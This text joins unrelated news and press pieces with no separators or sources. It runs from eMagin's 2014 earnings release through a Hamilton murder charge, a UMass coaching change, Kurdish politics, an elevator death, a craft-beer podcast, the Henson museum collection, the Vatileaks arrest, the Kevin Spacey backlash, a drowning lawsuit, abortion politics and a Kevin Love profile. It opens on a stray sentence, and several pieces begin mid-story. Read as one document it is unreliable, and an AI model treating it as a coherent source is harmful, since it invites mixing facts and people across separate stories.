Their cases resume in court on Friday.
Andrew G. Sculley, President and CEO, stated, “First, we are pleased fourth quarter revenues increased 18 percent over third quarter, and 10 percent over fourth quarter last year as our recent R&D contract awards began producing significant revenues. Historically, these government and non-government awards have been instrumental in fueling our growth and we are excited about the resurgence of this activity. Second, we made significant progress in key areas during the fourth quarter. We completed much of the work in developing our new headset prototype. The headset features 2,000 by 2,000 pixel resolution, a superior form factor, a wide 100+ degree field of view and has all the outstanding advantages of an eMagin OLED microdisplay. We are currently setting up demonstrations of the headset to interested parties. Also, we continued making great strides toward production of ultra-high brightness full color OLED microdisplays above 10,000 nits. We recently invested in new direct patterning equipment for this effort. These ultra-high brightness displays will help to accelerate the penetration of our OLED microdisplays into new markets such as avionics and consumer headset applications. We are demonstrating these ultra-high brightness direct patterned displays to our customers. eMagin is leading the industry in this effort for direct patterned OLED at microdisplay pixel sizes.”
Full Year Results
Revenues for 2014 were $25.7 million versus $28.0 million for 2013, a decrease of approximately 8%. Product revenues (primarily display sales) totaled $24.1 million, about 9% less than in 2013. R&D contract revenues totaled $1.7 million, approximately the same as 2013. Display average selling price increased and the number of displays shipped decreased from last year. The increases in average selling price were a result of changes in product and customer mix.
Gross margin for 2014 was 29 percent on gross profit of $7.4 million compared to a gross margin of 30 percent on gross profit of 8.4 million in 2013. The decrease in gross margin from last year was primarily due to lower revenues and a higher cost per display, partially offset by a higher average selling price.
Operating expenses for 2014 decreased to $12.6 million from $13.6 million in 2013. Operating expenses are comprised of R&D expenses and selling, general and administrative (SG&A) expenses. R&D expenses decreased to $4.5 million from $5.0 million in 2013. The decrease was due primarily to the requirements of the respective R&D contracts being worked on in each year. SG&A expenses decreased approximately $0.5 million or 6% from 2013 as a result of decreases in non-cash compensation and personnel costs, offset by an increase in bad debt expense.
Operating loss for 2014 increased slightly to $5.3 million from $5.2 million in 2013. Net loss was $5.3 million or $0.22 per diluted share, versus a net loss of $14.1 million or $0.60 per diluted share for 2013. In 2013, the Company booked non-cash charges to Provision for Income Tax of $8.9 million to establish a full valuation allowance of its deferred tax asset.
Quarterly Results
Revenues for the fourth quarter of 2014 increased 10% to $6.7 million versus $6.1 million for the fourth quarter of 2013. Product revenues (primarily display sales) totaled $5.7 million, 1% more than fourth quarter last year. R&D contract revenues totaled $1.0 million, an increase of 115% over fourth quarter last year. Display average selling price increased and displays shipped decreased from fourth quarter last year. The increase in average selling price was a result of changes in product and customer mix. The increase in R&D contract revenue is due to the new contract awards received in the latter half of 2014. The largest new award was the Defense-wide Manufacturing Science & Technology (DMS&T, also known as Mantech) program.
Gross margin for the fourth quarter was 23 percent on gross profit of $1.5 million compared to a gross margin of 1 percent in the same quarter last year. The increase in gross margin from fourth quarter last year was primarily due to higher display average selling price and lower production costs.
Operating expenses for the fourth quarter of 2014 decreased to $3.1 million from $3.4 million in the fourth quarter of 2013. Operating expenses are comprised of R&D expenses and selling, general and administrative (SG&A) expenses. R&D expenses decreased to $0.8 million from $1.1 million in the year-ago quarter. The decrease was due primarily to the requirements of the respective R&D contracts being worked on in the quarter. SG&A expenses were almost flat, increasing about $9,000 to $2.3 million. A decrease in non-cash compensation and personnel costs was offset by an increase in bad debt expense.
Operating loss for the fourth quarter decreased to $1.6 million from $3.3 million in fourth quarter last year. Net loss was $1.6 million or $0.07 per diluted share, versus a net loss of $8.7 million or $0.37 per diluted share for the fourth quarter last year. In fourth quarter 2013 the Company booked a non-cash charge to Provision for Income Tax of $5.4 million to establish a full valuation allowance of its deferred tax asset.
At December 31, 2014, the Company had approximately $6.0 million of cash, cash equivalents, and investments in certificates of deposit, compared to $6.0 million at September 30, 2014.
Recent Corporate Highlights
eMagin continued deliveries of microdisplay products in fourth quarter to 64 domestic and international customers and performed funded R&D contract services for 7 customers.
The Company produced over $1 million in R&D contract revenue in fourth quarter as a result of new contract awards announced in 2014. This is the most R&D contract revenue in a quarter since the fourth quarter of 2012.
Development continued in Q4 on the Company’s Immersive Head Mounted Display (“IHMD”) headset. This IHMD incorporates eMagin’s latest high-resolution OLED microdisplays and patented optics and enables a paradigm shift in the look, performance, weight, and size of Virtual Reality (“VR”) HMDs. The OLED microdisplay is the fundamental reason that eMagin’s IHMD is half the weight and size of its VR HMD counter parts. The field of view (“FOV”) of the IHMD exceeds one hundred degrees and can have resolutions ranging from one megapixel per eye (“MP/eye”) to four MP/eye. Demos of the prototype headset are occurring in Q1 2015.
Sample displays using our high brightness XLS and XLT technologies were delivered and are being added to the system architecture for both commercial and military applications. As a result of further R&D efforts, the lifetime of our high brightness OLED XLS technology was improved by about 25 percent. The full qualification of these displays is expected to be completed in the first quarter of 2015. The increasing interest in our high brightness displays confirms that these displays offer advantages for applications that use low efficiency optical systems or must provide augmented reality in the daytime such as avionics and commercial data glasses applications.
eMagin’s R&D team has completed the qualification of a new seal structure that can increase the overall yield and reliability of the Company’s products. The new seal is already being phased into production for certain display types. We expect to expand this improved process to all display types over time.
eMagin recently fully released its new DSVGA display for production. This display is targeted for the replacement of the long running SVGA+ product and will provide significant improvements because of its digital technology.
First samples of the SXGA096 product should be available in the first half of 2015. The SXGA096 will provide eMagin’s customers with the resolution of an SXGA display but with a smaller form factor and lower cost than larger pixel SXGA displays.
Outlook
Based on current and forecasted market conditions, expected orders and current backlog, eMagin expects revenues will total between $26 million to $29 million in 2015.
Conference Call Information
Full results will be published in the Company's 10-K report for 2014 and the fourth quarter ended December 31, 2014, expected to be filed by March 16, and will also be available via the Company’s website, www.emagin.com. A conference call and live webcast will begin today at 4:45 p.m. ET. An archive of the webcast will be available one hour after the live call through April 11, 2015. To access the live Webcast or archive, please visit the Company's website at ir.emagin.com or www.earnings.com.
About eMagin Corporation
A leader in OLED microdisplay technology, OLED microdisplay manufacturing know-how and mobile display systems, eMagin manufactures high-resolution OLED microdisplays and integrates them with magnifying optics to deliver virtual images comparable to large-screen computer and television displays in portable, low-power, lightweight personal displays. eMagin microdisplays provide near-eye imagery in a variety of products from military, industrial, medical and consumer OEMs. More information about eMagin is available at www.emagin.com.
Forward-Looking Statements
This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, including those regarding eMagin Corporation's expectations, intentions, strategies and beliefs pertaining to future events or future financial performance. Actual events or results may differ materially from those in the forward-looking statements as a result of various important factors, including those described in the Company's most recent filings with the SEC. Although we believe that the expectations reflected in the forward-looking statements are reasonable, such statements should not be regarded as a representation by the Company, or any other person, that such forward-looking statements will be achieved. The business and operations of the Company are subject to substantial risks which increase the uncertainty inherent in forward-looking statements. We undertake no duty to update any of the forward-looking statements, whether as a result of new information, future events or otherwise. In light of the foregoing, readers are cautioned not to place undue reliance on such forward-looking statements.
Non-GAAP Financial Measures
To supplement the Company's consolidated financial statements presented on a GAAP basis, the Company has provided non-GAAP financial information, namely earnings before interest, taxes, depreciation and amortization (EBITDA). The Company's management believes that this non-GAAP measure provides investors with a better understanding of how the results relate to the Company's historical performance. The additional adjusted information is not meant to be considered in isolation or as a substitute for GAAP financials. Management believes that these adjusted measures reflect the essential operating activities of the Company. A reconciliation of non-GAAP financial information appears below:
eMAGIN CORPORATION CONSOLIDATED BALANCE SHEETS (In thousands, except share and per share data) December 31, 2014 2013 ASSETS Current assets: Cash and cash equivalents $ 5,290 $ 4,032 Investments 750 6,250 Accounts receivable, net 4,044 4,319 Inventories, net 4,586 3,434 Prepaid expenses and other current assets 656 745 Total current assets 15,326 18,780 Long-term investments — 750 Equipment, furniture and leasehold improvements, net 9,417 9,119 Intangibles and other assets 382 27 Total assets $ 25,125 $ 28,676 LIABILITIES AND SHAREHOLDERS’ EQUITY Current liabilities: Accounts payable $ 1,027 $ 1,470 Accrued compensation 1,145 1,155 Other accrued expenses 812 1,436 Advance payment 74 155 Deferred revenue 331 66 Other current liabilities 664 395 Total current liabilities 4,053 4,677 Commitments and contingencies Shareholders’ equity: Preferred stock, $.001 par value: authorized 10,000,000 shares: Series B Convertible Preferred stock, (liquidation preference of $5,659,000)
stated value $1,000 per share, $.001 par value: 10,000 shares designated and
5,659 issued and outstanding as of December 31, 2014 and 2013 — — Common stock, $.001 par value: authorized 200,000,000 shares, issued and
outstanding, 25,195,107 shares as of December 31, 2014 and 23,928,619 as of
December 31, 2013 25 24 Additional paid-in capital 228,380 226,051 Accumulated deficit (206,833) (201,576) Treasury stock, 162,066 shares as of December 31, 2014 and 2013 (500) (500) Total shareholders’ equity 21,072 23,999 Total liabilities and shareholders’ equity $ 25,125 $ 28,676
Jermaine Dunkley, 32, was charged today in connection with the shooting death of 22-year-old Michael Parmer outside an east end Hamilton bar in 2005.
The charges come three months after police made a public plea for help in the case.
Parmer, of Niagara Falls, N.Y., was out with his friends at the now-defunct CDs bar in the Roxborough and Ottawa streets area the night he was killed, on Sept. 9, 2005.
According to police, Parmer's friends were getting in their car to leave just after 3 a.m. when they realized he wasn't with them. The group then heard the crack of a gunshot, and saw Parmer lying face down in the parking lot, with several people rushing to help him.
Parmer was rushed to hospital, but died as a result of his injuries 12 hours later.
Det. Sgt. Steve Bereziuk confirmed Monday that Dunkley is also facing gang-related charges in Toronto, but wouldn't comment on that investigation. CBC News has previously reported that police say Dunkley is the head of a Rexdale gang. Other media have identified that gang as the "Monstarz."
Dunkley — who is also known as the rapper J Noble — was charged with first-degree murder back in 2015 in the shooting death of Neeko Mitchell, 25, who died in November 2013 after he was shot outside the North Kipling Community Centre.
In that case, Dunkley was also charged with participation in the activities of a criminal organization and instructing the commission of an offence for a criminal organization. He was already in custody on those charges, and was brought to Hamilton today to appear in court.
Dunkley 'had gang affiliations in Hamilton,' police say
Dunkley's brother, 25-year-old Ricky Dunkley, was shot and killed at a Brampton banquet hall in July 2013. CBC News has previously reported that the victim at the North Kipling Community Centre, 25-year-old Neeko Mitchell, was the DJ at the event where Ricky Dunkley was murdered.
Bereziuk said that Dunkley "did have gang affiliations in Hamilton" at the time of Parmer's shooting, but said that police don't believe that incident had anything to do with gang activity.
Michael Parmer was shot and killed in a what police call "senseless crime" in September 2005 and police are appealing to the public to help solve the case. (Hamilton Police)
Police said at the press conference Monday that the recent plea to the public for information was instrumental in developing leads that led to the arrest.
Dorothy Harris, Parmer's mother, was in attendance at the press conference and thanked Hamilton police for continuing to pursue the case.
"Not a day goes by that I do not question why my son's life was taken at the tender age of 22," she said. "But today, 12 years later, justice is finally being served."
A 'senseless crime'
Bereziuk says the shooting was deemed to be a "senseless crime" in the past.
"This is a kid who didn't deserve to be shot and killed that night," he said.
Investigators say they are still searching for two other suspects in connection with Parmer's death, a man and a woman.
Anyone with information is asked to call police or contact Hamilton Crime Stoppers.
Kellogg is a Springfield, MA native who played at UMass from 1991-1995 for head coach John Calipari. He later coached under Calipari for 8 seasons at Memphis before taking over the UMass program in 2008.
During his nine years as head coach, Kellogg led the Minutemen to just one NCAA Tournament appearance (2014) and two NITs (2012 & 2013). The team never finished higher than a tie for 5th in the A-10, and four times finished 10th or worse.
UMass athletic director Ryan Bamford said in a statement that a change was needed in order to realize “a higher level of competitive success expected at UMass.”
The next coach will inherit a young roster eager to make some noise and challenge Dayton and VCU in A-10 play. There is also a facilities upgrade in the works for the men’s and women’s programs, including the state-of-the-art John F. Kennedy Champions Center currently under development.
So what’s next for UMass? Kennesaw State head coach Al Skinner played at UMass and is likely eager to get back to the Northeast, where he spent most of his career. Skinner has been to 9 NCAA Tournaments with Rhode Island and Boston College. UK assistant Tony Barbee also played at UMass and has 8 years of head coaching experience at UTEP and Auburn.
Iraqi Kurdish leader Massoud Barzani on Wednesday said in an interview with al-Monitor that the PYD and the PKK are exactly one and the same thing, and he also said that Americans know this very well, but they don’t want to say it, as the top priority is the fight against Islamic State (IS), so they turn a blind eye PYD relation with PKK.
U.S. State Department spokesman Mark Toner said in a daily press briefing “We still adhere to what our policy’s been for the past many months, which is that we view the PKK as a foreign terrorist organization. We condemn its – the violence that it carries out against Turkish civilians and citizens.”
“And separately, we have been working with the PYD – or YPG, rather, in parts of Syria as part of a number of groups we’re working with who are actively fighting and dislodging Daesh or ISIL from territory it controls. That doesn’t mean we haven’t had disagreements with them when they try to hold territory or not – or declare semi-autonomous self-rule zones.” Toner said.
” We disagree with them on that and we have frank discussions with them about that. But they are part of a number of groups that have been very effective in taking the fight against – or taking the fight, rather, to Daesh. I respect his opinion, just as we respect and listen to the Turkish authorities when they express their concerns to us, but we still view this as two separate entities.”
The PKK took up arms in 1984 against the Turkish state, which still denies the constitutional existence of Kurds, to push for greater autonomy for the Kurdish minority who make up around 22.5 million of the country’s 78-million population. A large Turkey’s Kurdish community openly sympathise with PKK rebels.
Syria’s Kurds on March 17, declared a federal region in Syrian Kurdistan in the country’s Kurdish north. Both the Damascus government and the main Syrian opposition grouping involved in UN-brokered peace negotiations in Geneva have rejected last Thursday’s move by the Kurds.
The powerful Kurdish People’s Protection Units YPG forces, PYD’s military wing, which the U.S. and Russia consider an ally in the fight against IS, are the most effective group fighting Islamic State (IS) in Syria, as the Kurdish militia has seized swathes of Syria from IS.
(With files from state.gov)
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Margaret Elizabeth Harrison went to Jean Blair's home on Tuesday morning at about 7:30 a.m, the Hernando County Sheriff's Office said.
Blair has a motorized wheelchair and uses a homemade elevator to get around her three-story house, authorities said.
On Tuesday, Blair rode the elevator from the third floor to the living area on the second floor. She then sent the elevator to the first floor for Harrison to use, the sheriff's office said.
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When Harrison hadn't arrived by 9 a.m., Blair called Harrison's boyfriend, who drove to the house and saw Harrison's car in the driveway. When he got in the house, he turned on elevator's power to raise it and saw Harrison was underneath.
Fire Rescue pronounced Harrison dead at the scene. Autopsy results showed that her death was an accident, the sheriff's office said.
The homemade elevator was added to the home after it was built about 17 years ago, the sheriff's office said. It was made by Blair's husband using a fork lift, wood and welded material. The couple told deputies it was maintained monthly, and it had never failed before.
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However, when Hernando County Building Department arrived at the house, it determined that there were no permits issued for any "lift" or elevator in the house. The "lift," which was found to have dangerous electrical connections, was deemed illegal and unsafe.The Hernando County Building Department shut it down, the sheriff's office said.
There's a scene in The Life Aquatic With Steve Zissou where Bill Murray, as Zissou, explains documentary filmmaking by saying "Nobody knows what's going to happen. And then we film it. That's the whole concept." I kept on thinking about that line as guests filed into a room at the Two Roads brewery in Stratford and watched Tony Pellino of OEC Brewing, Clement Pellani of Two Roads Brewery, Tyler Jones of Black Hog Brewing, Rich Visco of Shebeen Brewing and Conor Horrigan of Half Full Brewery take their seats in front of live mics. Whatever went down, it would all happen on the record.
On the record, in this case, means the proceedings would be recorded live for Ken Tuccio's Welcome To Connecticut podcast. The weekly podcast highlights businesses and personalities making an impact here in the Constitution State, and has previously broadcast with guests like Jerry Springer, Aaron Sanchez, Oh, Cassius!, the Nutmeg Curling Club, Miss Connecticut, and Anthony Bourdain's Russian sidekick, Zamir Gotta, among many others. The audio of the beer summit will go live on Thursday, March 19 on WelcomeCT.com, but CTBites was right there to bring you a first look.
The first question is one which has caused friends to fall out with one another: what do you think about macrobrewers like Budweiser/InBev buying and absorbing small craft breweries? As host of the event, Clem of Two Roads had the honors:
"I think everyone needs to focus on their own business first. There may be some distribution priorities shifting around, but we're not worried about InBev buying small brewers," he said.
"They're buying because they're scared," continued Tyler, Black Hog's head brewer.
Tony, brewer at OEC, had a bit of a different take, starting "It sucks that the 'evil giant' is buying them," he said, referring to Goose Island, specifically "but they're able to farm their big beers, like 312, out to regional breweries" He continued to say he believes this leads to Goose Island beers actually being fresher at the point of sale, while freeing up brewing capacity at the smaller, original Goose Island facilities for the brewers to make more experimental styles.
Tuccio's follow up question was what each of the panelists thought it would take to sell to one of the Big Three, like InBev.
There was much sarcasm on this point, but a few serious answers manged to sneak in sideways.
"It's foolish to say there's no way we'd ever sell Half Full to them," said Horrigan. "I love this, brewing is something I'm passionate about, and selling might let me move on to something else I'm passionate about, maybe do something like OEC is doing. I'd be comfortable with that as long as I knew my crew would stay in place and things wouldn't change."
One of the biggest splashes in the Connecticut beer scene lately has been the newfound availability of Lawson's Finest Liquids, and their Sip of Sunshine IPA, which is now contract brewed at Two Roads. How did that come about, asked Tuccio.
"Sean [Lawson] actually asked us about brewing Sip of Sunshine, and we hit it off immediately," Clem informed the listeners. He went on to say there has been some good back and forth between Sean and the Two Roads brewers. "You can't help but be influenced, ideas are constantly being shared."
Just because a beer is sold in Connecticut, doesn't mean seekers will be able to find it. The "white whale" phenomenon, where drinkers descend, locust-like, on bars and retailers selling highly touted beers and buy them out, sometimes within minutes, is sometimes considered an emerging problem. Knowing a special product is out there, and then being denied, is vexing, especially when the perception is the people buying a beer out are doing it for internet points on sites like Untappd.
"The 'white whale' [behavior] can ruin things, because the scarcity becomes more important than the beer," was Tyler's take. "It can also let people down when they drink a beer, too, because you have this buildup in your head."
Conor from Half Full explained how they balance their year round and limited edition beers:
"What I love about Connecticut beer is we're all doing something different. We [at Half Full] try to make more accessible styles, and still take the opportunity to do our rare beer nights."
"There's a difference between something rare and something hyped," was Tony's reply, concisely.
So what do the brewers think of rating sites like Untappd or Yelp?
Tony, OEC: "When our barleywine is getting a bad score because someone doesn't like barleywines, or because they don't like sours, I mean, I just stopped caring."
Yelpistas may want to glance at their phones instead of reading further, because this remark drew applause.
Tuccio turned to a more business oriented question next: what is more important, bar sales or package stores? The answers were as varied as the respondents.
"The industry has changed," said Clement. "It used to be 'bar sales drive bottle sales,' but I think people are looking to try something new now, and you have to focus on both."
Half Full, Conor said, focuses on draft because it allows them to be in more places, whether they are bars, bottle shops or special events. He liked that people could try tapped beer before making a decision to buy it.
Rich from Shebeen takes the opposite approach. His viewpoint was one of space:
"When you look at distribution, a package store can have a thousand SKUs [distinct products] on their shelves, but a bar may only have ten taps." It's simply easier to introduce a new product to consumers in a package store than it would be in a restaurant or bar.
Another Mason/Dixon line with craft beer drinkers is the eternal question: can or bottle?
The brewers were in universal agreement that cans provided the easiest, greenest, most compact shipping in a format in which light and air - the twin bogeymen of beer quality - couldn't harm the product. Conor brought up another point:
"Canning lets us put more information on there, compared to a tiny label on a bottle. We can take a little picture, a map, and some info about the brewery and put them all on a can."
Clem jumped in to note canning is also significantly less expensive, so there was more money to be made by startups than with bottles.
OEC's beers are sold exclusively in growlers or on draft, and Tony said they have no plans to can their beers, ever.
"All our beers are bottle conditioned, so if we put them in cans I'd basically be selling you little grenades."
The audience seemed to agree their beer drinking experience was fine enough without the potential for flying shrapnel.
A number of questions during the evening were suggested by Welcome2Connecticut listeners. Several wanted to know from where the brewers drew their inspiration.
Usually expansive, Tyler was within shouting distance of hesitancy, but bravely pushed on.
"From a bathroom at my buddy's house. I tell this story all the time, but it was a Yankee Candle my friend's wife had put in there. I thought 'this smells really good,' and I looked at it and it said 'citrus and sage' so I thought maybe I could do a beer like that."
Shebeen is known for inventive concoctions like their Canoli Beer, which Rich said came to him when he heard one of his friends call another "canoli boy." He often gets inspiration from food, like when he was eating at a Japanese restaurant and envisioned cucumber wasabi beer. He summed up:
"You just want to challenge yourself, all the time."
Continuing with the natural connection between food and drink, Conor was eating a hot oil pie at Colony Grill in Stamford when he decided to put their Colony's iconic "stinger" peppers into one of their beers. The firely brew will make its debut at an upcoming rare beer night at the brewery.
So what is it like, asked Tuccio, being a small fish and trying to sell your beer and make a living when you're competing with colossal brands like Miller, Budweiser, Corona, etc.
"We are going against multibillion dollar international corporations," started Rich. "When you go to a restaurant and they only have four taps, they don't usually have a local beer at all, and it's a challenge for a small, local brewery to get that level of support. We're here, ready to go, and then Yeungling comes in and spends millions in our market."
"The first thing that happens as a small guy," explained Clem, "when you get a tap, is the big guys come in and try to take that tap away from you."
Conor found it was helpful to look at the relationship between brewer and the owner at the point of sale.
"We find it helps to be a consultant instead of just someone walking it trying to make another sale that day and putting something on tap that maybe won't sell for them. It's about being in this together and trying to find something that works for everyone. We walk into bars and hear about Budweiser buying them 60-inch plasma TVs and obviously we can't do that, but we're part of the community. You can't underestimate the power of a good product and a community connection."
The night ended with a question which manages to be both a stultifying cliché and eternally interesting: if you were trapped on a desert island with a supply of just one beer, what would it be? Down the line they went.
Tony: BFM Abbaye de Saint Bon-Chien. A Swiss beer he chose for its perfection.
Rich chose Sam Smith's Nut Brown, one of his first favorite beers.
Clem decided on Pilsner Urquell, as it was what he considered to be one of the finest of its style.
Tyler and Conor arrived at the same conclusion, Sierra Nevada Pale Ale, although Conor allowed Dogfish Head 60 Minute IPA would be his second choice.
From the 2011 installation. (Photo by Katie Sokoler/Gothamist)
Over the past few years, the Museum of the Moving Image in Queens has had some spectacular Jim Henson installations, and this morning they announced that they'll now be a permanent home to his characters (at least, the ones who don't live on Sesame Street).
Mayor Bloomberg (who once had his own muppet in the museum) announced today: "It’s only fitting that this extraordinary collection of puppets, costumes, props, and more should find a home in New York, where imagination and free expression are part of the fabric of our city, and where anyone who’s watched an episode of Sesame Street sees the inspiration provided by the vibrant neighborhoods and characters that make our city so extraordinary."
Cheryl Henson, daughter of the late Jane and Jim Henson, was also on hand today, and added: “Our fondness for this city and its institutions is deeply rooted as NYC was home for The Jim Henson Company for many years and is now for the Jim Henson Workshop in Long Island City."
Federico Lombardi said in a statement on Saturday that Paolo Gabriele, a layman who lives inside Vatican City, was arrested on Wednesday.
The Vatican said a wider investigation would take place to see if Gabriele, 46, had any accomplices that helped him leak the documents.
Vatican documents leaked to the press in recent months alleged corruption in Vatican finance and bickering over the Holy See's efforts to show more transparency in its financial operations.
Italian commentators said they doubted that Gabriele could have acted alone and some speculated that he may have been a pawn in a larger, internal power struggle.
"Never has the sense of disorientation in the Catholic Church reached these levels," Church historian Alberto Melloni wrote in Italy's Corriere della Sera newspaper. "But now there is something even more - a sense of systemic disorder."
'Secure rooms'
A statement referred to Gabriele, who was until his arrest serving the pope meals and helping him dress, as "the defendant".
Gabriele was being held in one of the three so-called "secure rooms" in the offices of the Vatican's tiny police force inside the walled city-state as the Vatican has no jail.
The Vatican promised that he would have "all the juridical guarantees foreseen by the criminal code of the State of Vatican City".
It said the upgraded, formal investigation "would continue until a sufficient framework of the situation is acquired", which a Vatican official said meant magistrates wanted to determine if Gabriele acted alone or with others.
The pope was said to be "pained" that someone in his domestic household had betrayed him. Gabriele lived in the Vatican with his wife and three children.
He has been close to the pope, often seen by his side in public and riding in the front seat of the pontiff's open-air jeep during the pope's general audiences.
The scandal, dubbed "Vatileaks", has seriously embarrassed the Vatican, at a time it is trying to show the world financial community that it has shed its reputation as a scandal-plagued tax haven.
At the centre of the scandal is Pope Benedict XVI's No 2, Cardinal Tarcisio Bertone, the Vatican secretary of state.
Confidential memos
The scandal took on even greater weight last week with the publication of "His Holiness", a book which reproduced confidential letters and memos to and from Benedict and his personal secretary.
The Vatican called the book "criminal" and vowed to take legal action against the author, publisher, and whoever leaked the documents.
The Vatican had already warned of legal action against the author, Italian journalist Gianluigi Nuzzi, after he broadcast letters in January from the former No 2 Vatican administrator to the pope in which he begged not to be transferred for having exposed alleged corruption that cost the Holy See millions of euros in higher contract prices.
The prelate, Monsignor Carlo Maria Vigano, is now the Vatican's US ambassador.
Nuzzi, author of "Vatican SpA", a 2009 volume laying out shady dealings of the Vatican bank based on leaked documents, said he was approached by sources inside the Vatican with the trove of new documents.
Kevin Spacey's apology to Broadway veteran Anthony Rapp for alleged unwanted sexual advances earned sharp backlash on social media from critics who said the actor not only chose the wrong time to come out as gay but conflated homosexuality and sexual misconduct of a minor.
In an interview with BuzzFeed News, Rapp alleged that when he was 14 years old, Spacey invited Rapp to his apartment before climbing on top of him and making unwanted sexual advances. Spacey was 26 at the time.
"I'm beyond horrified to hear his story. I honestly do not remember the encounter, it would have been over 30 years ago," Spacey wrote in a statement posted to Twitter. "But if I did behave then as he describes, I owe him the sincerest apology for what would have been deeply inappropriate drunken behavior, and I am sorry for the feelings he describes having carried with him all these years."
Lower in the statement, Spacey, who stars in the Netflix series "House of Cards," says the allegations have “encouraged me to address other things about my life," saying "I choose now to live as a gay man."
"House of Cards" will end after its sixth season due out next year, according to The Hollywood Reporter.
Related: Anthony Rapp, Wilson Cruz on 'Star Trek: Discovery' Coupledom
Celebrities and activists, many of whom are members of the LGBTQ+ community, immediately took issue with Spacey's statement.
"Just wanna be really f----- clear that being gay has nothing to do w/ going after underage folks," wrote comedian Cameron Esposito.
Writer and artist Eve L. Ewing tweeted, "Double shame on Kevin Spacey for calling on the old, tired, erroneous, and harmful idea that there’s some link between gayness and sexual predation as a distraction from his wrongs."
The myth that gay men are likely to sexually abuse children has been a common tactic for stoking public fears about homosexuality, and has been proven false time and time again by psychologists, professors and organizations such as the American Psychological Association.
Actor Anthony Rapp in 2016. Astrid Stawiarz / Getty Images file
"That Kevin Spacey statement. Nope. Absolutely not. Nope," wrote actor and comedian Billy Eichner. "Kevin Spacey has just invented something that has never existed before: a bad time to come out."
Some tweeted that Spacey's decision to reveal his orientation during his apology was a "smokescreen" to distract from his alleged actions.
"Coming out stories should not be used to deflect from allegations of sexual assault,” Sarah Kate Ellis, President and CEO of GLAAD, wrote in a series of tweets. "This is not a coming out story about Kevin Spacey, but a story of survivorship by Anthony Rapp and all those who bravely speak out against unwanted sexual advances. The media and public should not gloss over that.”
Related: Gay Actors Talk Sexual Harassment: 'It Definitely Happens'
Comedian and writer Guy Branum wrote, "The classiest way to come out of the closet is as a PR smokescreen to distract people from the fact that you tried to molest a child."
Comedian and actress Wanda Sykes wrote, "No no no no no! You do not get to 'choose' to hide under the rainbow! Kick rocks!"
LGBTQ+ and Black Lives Matter activist Deray McKesson wrote, "Kevin Spacey really tried to throw the entire LGBT community under a bus and call it solidarity in an effort to mask his personal failings."
Spacey's sexual orientation has been a subject of gossip for decades. In 1997 an Esquire profile titled "Kevin Spacey Has a Secret," insinuated that the actor was gay.
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Tracy Hottenstein, 35, was found by a fisherman on Feb. 14, 2009, the morning after the event, which annually draws thousands to the Jersey Shore community. She had been drinking following the event, in which participants plunge into the frigid Atlantic, and fell off a dock sometime after 2:15 a.m. on Feb. 14. Her body was found hours later by a local fisherman.
Her parents filed suit against the city, police and emergency officials in 2011.
Though he dismissed many of the counts in the suit, court documents show U.S. District Judge Joseph Irenas ruled that malpractice claims against the doctor who pronounced her dead could proceed, as well as demand for punitive damages against the doctor, the city and its police.
The suit hinges on the circumstances and actions of emergency officials minutes after Hottenstein’s body was found.
Police who arrived at the scene first found Hottenstein had no pulse and was not breathing and her body was cold and gray. They made the determination she had died and cordoned off the area as a crime scene.
As such, members of the Sea Isle Ambulance Corps were unable to access Hottenstein and render aid when they arrived a short time later. A paramedic from Atlanticare
Regional Medical Center was eventually allowed through and called Zaki Khebzou, a doctor with the group, for an official pronouncement of death. Khebzou made the pronouncement at 8:22 a.m.
But an expert testified that Hottenstein may have been alive when she was found, contending that the symptoms of severe hypothermia are very similar to death.
In New Jersey, in order to make a pronouncement of death outside of a hospital, a doctor, by regulation, is expected to obtain the results of a electrocardiogram from a paramedic or other medical professional if at all possible.
In a deposition to the court, Khebzou acknowledged he knew of this requirement but declared Hottenstein dead without receiving any electrocardiogram results.
"Given that Tracy may have been alive at 8:22 a.m., Khebzou’s pronouncement may have been premature and cut off Tracy’s opportunity to receive medical care,” Irenas wrote in his opinion.
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But, you may ask, don’t the candidates agree 100 percent on these issues? Pretty much, yes. Clinton and Sanders both want to protect abortion access and expand funding for Planned Parenthood; he recently seconded her call to repeal the draconian Hyde Amendment, which prevents federal funding for abortion procedures with certain exceptions. As for voting rights, they concur that Congress should restore the crippled Voting Rights Act to full health. They both want a national standard for early voting and universal, automatic registration. Last August, during the 50th anniversary of the Voting Rights Act, discussing the issue was all the rage and both campaigns were vocal; the former secretary of state released a lengthy ad focusing on the legacy of activists who fought for those rights. Both Clinton and Sanders have platforms on their websites, and the differences between the two are minimal. So why debate them at all?
Not speaking the “a-word” too often is a Democratic tradition that needs to be broken. It cedes the public conversation about abortion and reproductive rights to conservatives and Republicans, who love to harp about “life” but never mention the terrorist attack at a Planned Parenthood clinic last November. (Clinton, to her credit, has mentioned the health care provider during the debates.) We can argue all we wish that America is moving left, but no one told the legions of patients living primarily in red states—especially those poorer women of color who are particularly disenfranchised—who are effectively barred from abortions by puritanical, often unconstitutional legislative measures. Given that the new Zika virus is forcing conversations about anti-abortion laws and disability rights both here and abroad, this was a prime opportunity to make attacks on reproductive rights even more prominent in the public consciousness. No such luck on that New Hampshire stage, at least.
Kevin Love has a bone to pick with Faulkner. For almost his whole career, Love has thrived on proving people wrong, whether it was Kurt Rambis telling him not to shoot 3-pointers or anyone who doubted he could be a go-to scorer or questioned whether he was “athletic” enough for the NBA. His 2011-12 season was a garlanded rebuttal to those questions about his playing ability: He finished in the top five for points and rebounds per game, PER, rebounding percentage, and win shares, plus made his second All-Star Game appearance and won the 3-point shooting contest there.
But then came 2012-13. A fluke hand injury stole the first chunk of the season from him, and when he returned ahead of schedule he shot a miserable 21.7 percent from beyond the arc (by far the worst showing for a reigning 3-point shootout champion and second only to Tim Legler’s 1996-97 season, when he shot 27.6 percent from distance after coming back from a torn ACL). Before he could find his shot, he was out again after re-breaking his hand and never returned, eventually opting for season-ending knee surgery to clear out scar tissue from a previous injury.
All the injury woes would have been bad enough. But into the middle of that lost season dropped an interview in which Love gave voice to needling concerns about his relationship with the Wolves. That he had many valid points about questionable decisions made by former GM David Kahn and others hardly seemed to matter. Many fans took it as the petulant whining of a player who hadn’t proved himself yet, and turned on him.
In the midst of that interview, he told Adrian Wojnarowski, “I have a very, very good memory, and I always remember the people who have done right by me, and the people who have done wrong by me. It will be embedded in my brain, and something I won’t forget about.”
His tone at this year’s Timberwolves media day was considerably different. “We all know what happened last year,” he said. “We just want to move forward.” He cut off a reporter who asked about picking up his option in 2015 by saying, “We’re just going to get better day by day.” When a reporter grazed against Love’s issues with Kahn, he replied simply, “The past is the past.”
